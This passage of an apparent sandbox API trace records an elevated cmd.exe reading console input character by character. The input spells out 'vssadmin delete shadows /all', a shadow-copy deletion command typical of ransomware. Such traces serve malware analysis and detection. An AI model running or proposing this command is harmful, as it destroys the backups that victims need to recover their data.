_BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f6d8 | out: _Buffer="\r\n") returned 2 [0198.341] _get_osfhandle (_FileHandle=1) returned 0xbc [0198.341] GetFileType (hFile=0xbc) returned 0x3 [0198.341] _get_osfhandle (_FileHandle=1) returned 0xbc [0198.341] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0198.341] WriteFile (in: hFile=0xbc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f6a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x14f6a8*=0x2, lpOverlapped=0x0) returned 1 [0198.341] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x14f6d8 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0198.341] _get_osfhandle (_FileHandle=1) returned 0xbc [0198.341] GetFileType (hFile=0xbc) returned 0x3 [0198.341] _get_osfhandle (_FileHandle=1) returned 0xbc [0198.341] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0198.341] WriteFile (in: hFile=0xbc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x14f6a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x14f6a8*=0x3f, lpOverlapped=0x0) returned 1 [0198.341] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f6d8 | out: _Buffer="\r\n") returned 2 [0198.341] _get_osfhandle (_FileHandle=1) returned 0xbc [0198.341] GetFileType (hFile=0xbc) returned 0x3 [0198.341] _get_osfhandle (_FileHandle=1) returned 0xbc [0198.341] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0198.341] WriteFile (in: hFile=0xbc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f6a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x14f6a8*=0x2, lpOverlapped=0x0) returned 1 [0198.342] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77970000 [0198.342] GetProcAddress (hModule=0x77970000, lpProcName="CopyFileExW") returned 0x779823d0 [0198.343] GetProcAddress (hModule=0x77970000, lpProcName="IsDebuggerPresent") returned 0x77978290 [0198.343] GetProcAddress (hModule=0x77970000, lpProcName="SetConsoleInputExeNameW") returned 0x779817e0 [0198.343] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.343] GetFileType (hFile=0xb0) returned 0x3 [0198.343] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0198.343] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x14f500 | out: TokenHandle=0x14f500*=0x0) returned 0xc000007c [0198.343] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x14f500 | out: TokenHandle=0x14f500*=0x50) returned 0x0 [0198.343] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x14f510, TokenInformationLength=0x4, ReturnLength=0x14f518 | out: TokenInformation=0x14f510, ReturnLength=0x14f518) returned 0x0 [0198.343] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x14f518, TokenInformationLength=0x4, ReturnLength=0x14f510 | out: TokenInformation=0x14f518, ReturnLength=0x14f510) returned 0x0 [0198.343] NtClose (Handle=0x50) returned 0x0 [0198.343] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x14f4e0, nSize=0x0, Arguments=0x14f4e8 | out: lpBuffer="韀(") returned 0xf [0198.344] GetProcessHeap () returned 0x270000 [0198.344] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x218) returned 0x289be0 [0198.344] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0198.344] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0198.344] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0198.600] GetProcessHeap () returned 0x270000 [0198.600] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x289be0 | out: hHeap=0x270000) returned 1 [0198.600] LocalFree (hMem=0x2897c0) returned 0x0 [0198.600] GetProcessHeap () returned 0x270000 [0198.600] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28aa10 | out: hHeap=0x270000) returned 1 [0198.600] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f218 | out: _Buffer="\r\n") returned 2 [0198.600] _get_osfhandle (_FileHandle=1) returned 0xbc [0198.600] GetFileType (hFile=0xbc) returned 0x3 [0198.600] _get_osfhandle (_FileHandle=1) returned 0xbc [0198.600] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0198.601] WriteFile (in: hFile=0xbc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f1e8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x14f1e8*=0x2, lpOverlapped=0x0) returned 1 [0198.601] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0198.601] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0198.601] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f228 | out: _Buffer="C:\\Windows\\system32") returned 19 [0198.601] _vsnwprintf (in: _Buffer=0x49f8eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x14f228 | out: _Buffer=">") returned 1 [0198.601] _get_osfhandle (_FileHandle=1) returned 0xbc [0198.601] GetFileType (hFile=0xbc) returned 0x3 [0198.601] _get_osfhandle (_FileHandle=1) returned 0xbc [0198.601] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0198.601] WriteFile (in: hFile=0xbc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x14f218, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x14f218*=0x14, lpOverlapped=0x0) returned 1 [0198.601] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.601] GetFileType (hFile=0xb0) returned 0x3 [0198.601] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.601] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.601] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.602] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0198.602] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.602] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.602] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.602] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0198.602] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.602] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.602] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.602] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0198.602] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.602] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.602] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.603] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0198.603] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.603] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.603] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.603] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0198.603] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.603] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.603] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.603] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0198.603] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.603] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.603] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.603] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0198.603] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.603] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.603] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.603] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0198.603] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.603] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.604] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.604] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0198.604] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.604] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.604] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.604] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0198.604] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.604] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.604] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.604] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0198.604] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.604] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.604] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.604] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0198.604] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.604] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.604] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.604] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0198.604] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.604] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.605] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.605] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0198.605] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.605] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.605] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.605] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0198.605] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.605] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.605] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.605] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0198.605] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.605] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.605] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.605] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0198.605] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.605] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.606] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.606] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0198.606] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.606] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.606] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.606] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0198.606] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.606] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.606] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.606] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0198.606] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.606] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.606] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.606] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0198.606] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.606] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.606] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.607] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0198.607] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.607] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.607] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.607] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0198.607] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.607] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.607] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.607] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0198.607] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.607] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.607] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.607] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0198.607] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.607] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.607] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.607] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0198.607] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.607] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.608] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0198.608] _get_osfhandle (_FileHandle=0) returned 0xb0 [0198.608] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.608] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0198.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0198.608] _get_osfhandle (_FileHandle=0) returned 0xb0 